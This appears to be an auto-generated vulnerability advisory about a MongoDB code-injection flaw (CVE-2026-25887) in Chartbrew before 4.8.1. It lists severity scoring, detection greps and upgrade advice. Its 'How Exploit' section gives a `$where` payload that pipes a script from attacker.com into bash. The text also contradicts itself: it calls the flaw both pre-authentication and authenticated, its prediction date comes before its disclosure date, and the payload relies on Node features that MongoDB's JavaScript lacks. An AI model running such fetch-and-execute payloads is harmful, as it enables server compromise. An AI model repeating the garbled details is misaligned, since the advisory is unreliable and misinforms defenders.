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CVE-2026-25887 is a pre-authentication Remote Code Execution vulnerability in Chartbrew versions prior to 4.8.1, specifically within the MongoDB dataset query functionality. The vulnerability exists because the application fails to properly sanitize and validate user-supplied input passed to MongoDB queries. An attacker with network access can inject arbitrary JavaScript code into the MongoDB query, which is then executed by the server. This occurs due to the application’s use of the `$where` operator or other JavaScript execution features in MongoDB without proper restrictions. When a maliciously crafted query is processed, the injected JavaScript runs on the database server with the privileges of the MongoDB instance, allowing the attacker to execute system commands, read or write files, and potentially compromise the entire server. The vulnerability stems from the application’s failure to implement proper Abstract Syntax Tree (AST) validation to block dangerous operators. Since Chartbrew connects directly to databases, this flaw allows an authenticated user to escalate their privileges from database access to full remote code execution on the underlying host system. The issue was privately disclosed and patched in version 4.8.1 by implementing strict AST validation for all MongoDB queries.
dailycve form:
Platform: Chartbrew
Version: prior 4.8.1
Vulnerability: MongoDB RCE
Severity: HIGH
date: 03/06/2026
Prediction: 02/09/2026
What Undercode Say:
Analytics
The vulnerability is classified under CWE-94 (Code Injection). The CVSS:3.1 vector is AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H with a base score of 7.2 . This indicates a high-severity issue requiring high privileges but no user interaction, with full impact on confidentiality, integrity, and availability.
Bash Commands & Detection
Check current Chartbrew version npm list chartbrew If using Docker docker ps --filter "name=chartbrew" docker exec <container_id> npm list chartbrew Grep for vulnerable query patterns in codebase grep -r "\$where" /path/to/chartbrew/server/ grep -r "function()" /path/to/chartbrew/server/database/ Check MongoDB logs for suspicious queries sudo grep "js" /var/log/mongodb/mongod.log sudo grep "\$where" /var/log/mongodb/mongod.log
How Exploit
An attacker with access to create or modify datasets can inject malicious JavaScript through the MongoDB query interface:
// Malicious payload example
{
"$where": "function() {
return require('child_process').exec('curl http://attacker.com/shell.sh | bash')
}"
}
When processed, this executes arbitrary system commands on the MongoDB server host.
Protection
- Immediate upgrade to Chartbrew version 4.8.1 or later
npm install chartbrew@latest or for Docker docker pull chartbrew/chartbrew:latest
2. Implement network segmentation to restrict MongoDB access
3. Run MongoDB with JavaScript execution disabled:
security.javascriptEnabled: false
4. Apply principle of least privilege for database users
Impact
Successful exploitation allows attackers to achieve remote code execution on the underlying server, leading to complete system compromise, data theft, ransomware deployment, or use of the compromised host as a pivot point for further network penetration.
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Sources:
Reported By: nvd.nist.gov
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